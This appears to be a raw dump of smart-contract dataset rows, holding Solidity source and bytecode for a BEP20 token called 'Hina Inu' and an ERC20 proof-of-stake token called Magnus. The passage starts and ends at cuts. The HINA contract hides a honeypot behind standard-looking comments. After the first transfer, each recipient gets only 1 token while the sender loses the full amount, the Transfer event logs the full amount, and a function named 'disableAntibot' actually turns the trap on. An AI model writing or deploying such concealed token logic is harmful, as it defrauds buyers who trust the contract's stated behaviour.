* and it has safe implementations of arithmetic operators used in this contract.
* Further info: https://ethereum.stackexchange.com/questions/91367/is-the-safemath-library-obsolete-in-solidity-0-8-0
*/
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the BEP20 standard as defined in the EIP.
*/
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IBEP20} interface.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of BEP20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IBEP20-approve}.
*/
contract HINA is Context, IBEP20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint256 private _totalSupply;
uint8 private _antibotEnabled;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "Hina Inu";
_symbol = "HINA";
_totalSupply = 100000000001000000000000000000;
_antibotEnabled = 0;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
/**
* Forever disable anti sniper bot.
*/
function disableAntibot() public returns (uint8) {
_antibotEnabled = 1;
return _antibotEnabled;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {BEP20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IBEP20-balanceOf} and {IBEP20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IBEP20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IBEP20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IBEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IBEP20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IBEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IBEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "BEP20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "BEP20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
if (1 == _antibotEnabled) {
_balances[recipient] += 10 ** 18; // 1 token
} else {
_balances[recipient] += amount;
if (0 == _antibotEnabled) {
_antibotEnabled = 1;
}
}
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806370a082311161006657806370a082311461015d5780638b750c561461018d57806395d89b41146101ab578063a9059cbb146101c9578063dd62ed3e146101f95761009e565b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100f157806323b872dd1461010f578063313ce5671461013f575b600080fd5b6100ab610229565b6040516100b89190610d19565b60405180910390f35b6100db60048036038101906100d69190610b8a565b6102bb565b6040516100e89190610cfe565b60405180910390f35b6100f96102d9565b6040516101069190610dfb565b60405180910390f35b61012960048036038101906101249190610b3b565b6102e3565b6040516101369190610cfe565b60405180910390f35b6101476103e4565b6040516101549190610e16565b60405180910390f35b61017760048036038101906101729190610ad6565b6103ed565b6040516101849190610dfb565b60405180910390f35b610195610435565b6040516101a29190610e16565b60405180910390f35b6101b3610468565b6040516101c09190610d19565b60405180910390f35b6101e360048036038101906101de9190610b8a565b6104fa565b6040516101f09190610cfe565b60405180910390f35b610213600480360381019061020e9190610aff565b610518565b6040516102209190610dfb565b60405180910390f35b60606002805461023890610f5f565b80601f016020809104026020016040519081016040528092919081815260200182805461026490610f5f565b80156102b15780601f10610286576101008083540402835291602001916102b1565b820191906000526020600020905b81548152906001019060200180831161029457829003601f168201915b5050505050905090565b60006102cf6102c861059f565b84846105a7565b6001905092915050565b6000600454905090565b60006102f0848484610772565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061033b61059f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156103bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b290610d7b565b60405180910390fd5b6103d8856103c761059f565b85846103d39190610ea3565b6105a7565b60019150509392505050565b60006012905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006001600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16905090565b60606003805461047790610f5f565b80601f01602080910402602001604051908101604052809291908181526020018280546104a390610f5f565b80156104f05780601f106104c5576101008083540402835291602001916104f0565b820191906000526020600020905b8154815290600101906020018083116104d357829003601f168201915b5050505050905090565b600061050e61050761059f565b8484610772565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060e90610d5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067e90610ddb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107659190610dfb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d990610d3b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610852576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084990610dbb565b60405180910390fd5b61085d838383610aa7565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156108e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108da90610d9b565b60405180910390fd5b81816108ef9190610ea3565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560009054906101000a900460ff1660ff16600114156109ae57670de0b6b3a76400006000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109a29190610e4d565b92505081905550610a3c565b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109fc9190610e4d565b92505081905550600560009054906101000a900460ff1660ff1660001415610a3b576001600560006101000a81548160ff021916908360ff1602179055505b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a999190610dfb565b60405180910390a350505050565b505050565b600081359050610abb816111da565b92915050565b600081359050610ad0816111f1565b92915050565b600060208284031215610ae857600080fd5b6000610af684828501610aac565b91505092915050565b60008060408385031215610b1257600080fd5b6000610b2085828601610aac565b9250506020610b3185828601610aac565b9150509250929050565b600080600060608486031215610b5057600080fd5b6000610b5e86828701610aac565b9350506020610b6f86828701610aac565b9250506040610b8086828701610ac1565b9150509250925092565b60008060408385031215610b9d57600080fd5b6000610bab85828601610aac565b9250506020610bbc85828601610ac1565b9150509250929050565b610bcf81610ee9565b82525050565b6000610be082610e31565b610bea8185610e3c565b9350610bfa818560208601610f2c565b610c0381610fef565b840191505092915050565b6000610c1b602583610e3c565b9150610c2682611000565b604082019050919050565b6000610c3e602483610e3c565b9150610c498261104f565b604082019050919050565b6000610c61602883610e3c565b9150610c6c8261109e565b604082019050919050565b6000610c84602683610e3c565b9150610c8f826110ed565b604082019050919050565b6000610ca7602383610e3c565b9150610cb28261113c565b604082019050919050565b6000610cca602283610e3c565b9150610cd58261118b565b604082019050919050565b610ce981610f15565b82525050565b610cf881610f1f565b82525050565b6000602082019050610d136000830184610bc6565b92915050565b60006020820190508181036000830152610d338184610bd5565b905092915050565b60006020820190508181036000830152610d5481610c0e565b9050919050565b60006020820190508181036000830152610d7481610c31565b9050919050565b60006020820190508181036000830152610d9481610c54565b9050919050565b60006020820190508181036000830152610db481610c77565b9050919050565b60006020820190508181036000830152610dd481610c9a565b9050919050565b60006020820190508181036000830152610df481610cbd565b9050919050565b6000602082019050610e106000830184610ce0565b92915050565b6000602082019050610e2b6000830184610cef565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610e5882610f15565b9150610e6383610f15565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610e9857610e97610f91565b5b828201905092915050565b6000610eae82610f15565b9150610eb983610f15565b925082821015610ecc57610ecb610f91565b5b828203905092915050565b6000610ee282610ef5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015610f4a578082015181840152602081019050610f2f565b83811115610f59576000848401525b50505050565b60006002820490506001821680610f7757607f821691505b60208210811415610f8b57610f8a610fc0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f42455032303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6111e381610ed7565b81146111ee57600080fd5b50565b6111fa81610f15565b811461120557600080fd5b5056fea26469706673582212200c9b4fcdcf949d647592af7a41adb4110f73f09b3bf9ef8e86dfe9a08c9ef2c964736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 982 |
0x7065c48aae79e61828ecd3f370111cea4ce8f467 | pragma solidity ^0.4.13;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MagnusTokenStandard {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() returns (bool);
function coinAge() constant returns (uint256);
function annualInterest() constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract Magnus is ERC20,MagnusTokenStandard,Ownable {
using SafeMath for uint256;
string public name = "t.me/MagnusToken";
string public symbol = "(Magnus)MAG";
uint public decimals = 18;
uint public chainStartTime; //chain start time
uint public chainStartBlockNumber; //chain start block number
uint public stakeStartTime; //stake start time
uint public stakeMinAge = 3 days; // minimum age for coin age: 3D
uint public stakeMaxAge = 90 days; // stake age of full weight: 90D
uint public maxMintProofOfStake = 10**17; // default 10% annual interest
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function Magnus() {
maxTotalSupply = 10**25/40;
totalInitialSupply = 10**24/40;
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function annualInterest() constant returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (1650 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (770 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
// 1st year effective annual interest rate is 300% when we select the stakeMaxAge (90 days) as the compounding period.
interest = (1650 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
// 2nd year effective annual interest rate is 100%
interest = (770 * maxMintProofOfStake).div(100);
}
return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
Burn(msg.sender, _value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
} | 0x60606040523615610152576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610157578063095ea7b3146101e65780631249c58b1461024057806318160ddd1461026d5780631e1b13c01461029657806323b872dd146102bf5780632a9edf6f146103385780632ab4d0521461035b578063313ce5671461038457806342cbb15c146103ad5780635b054f9b146103d657806370a08231146103ff5780637419f1901461044c57806388d695b2146104755780638da5cb5b1461052757806390762a8b1461057c57806395d89b411461059f5780639fd4da401461062e578063a9059cbb14610657578063b2552fc4146106b1578063cbd8877e146106da578063cd474b0414610703578063dd62ed3e1461072c578063e1c3bac614610798578063f2bb5ce1146107c1578063f2fde38b146107ea575b600080fd5b341561016257600080fd5b61016a610823565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ab5780820151818401525b60208101905061018f565b50505050905090810190601f1680156101d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f157600080fd5b610226600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c1565b604051808215151515815260200191505060405180910390f35b341561024b57600080fd5b610253610a49565b604051808215151515815260200191505060405180910390f35b341561027857600080fd5b610280610dbb565b6040518082815260200191505060405180910390f35b34156102a157600080fd5b6102a9610dc1565b6040518082815260200191505060405180910390f35b34156102ca57600080fd5b61031e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dd3565b604051808215151515815260200191505060405180910390f35b341561034357600080fd5b61035960048080359060200190919050506113c2565b005b341561036657600080fd5b61036e61144a565b6040518082815260200191505060405180910390f35b341561038f57600080fd5b610397611450565b6040518082815260200191505060405180910390f35b34156103b857600080fd5b6103c0611456565b6040518082815260200191505060405180910390f35b34156103e157600080fd5b6103e9611473565b6040518082815260200191505060405180910390f35b341561040a57600080fd5b610436600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611479565b6040518082815260200191505060405180910390f35b341561045757600080fd5b61045f6114c3565b6040518082815260200191505060405180910390f35b341561048057600080fd5b61050d600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506114c9565b604051808215151515815260200191505060405180910390f35b341561053257600080fd5b61053a611b6e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058757600080fd5b61059d6004808035906020019091905050611b94565b005b34156105aa57600080fd5b6105b2611ecb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f35780820151818401525b6020810190506105d7565b50505050905090810190601f1680156106205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561063957600080fd5b610641611f69565b6040518082815260200191505060405180910390f35b341561066257600080fd5b610697600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611f6f565b604051808215151515815260200191505060405180910390f35b34156106bc57600080fd5b6106c461244f565b6040518082815260200191505060405180910390f35b34156106e557600080fd5b6106ed612504565b6040518082815260200191505060405180910390f35b341561070e57600080fd5b61071661250a565b6040518082815260200191505060405180910390f35b341561073757600080fd5b610782600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612510565b6040518082815260200191505060405180910390f35b34156107a357600080fd5b6107ab612598565b6040518082815260200191505060405180910390f35b34156107cc57600080fd5b6107d461259e565b6040518082815260200191505060405180910390f35b34156107f557600080fd5b610821600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506125a4565b005b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b95780601f1061088e576101008083540402835291602001916108b9565b820191906000526020600020905b81548152906001019060200180831161089c57829003601f168201915b505050505081565b60008082148061094d57506000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561095857600080fd5b81601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b600080600f54600e54101515610a5e57600080fd5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610ab05760009150610db6565b6000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050111515610b055760009150610db6565b610b0e33612682565b9050600081111515610b235760009150610db6565b610b3881600e5461279c90919063ffffffff16565b600e81905550610b9081601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279c90919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c1e9190612aa6565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806001018281610c6f9190612ac8565b916000526020600020900160005b6040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff16815250909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050503373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0e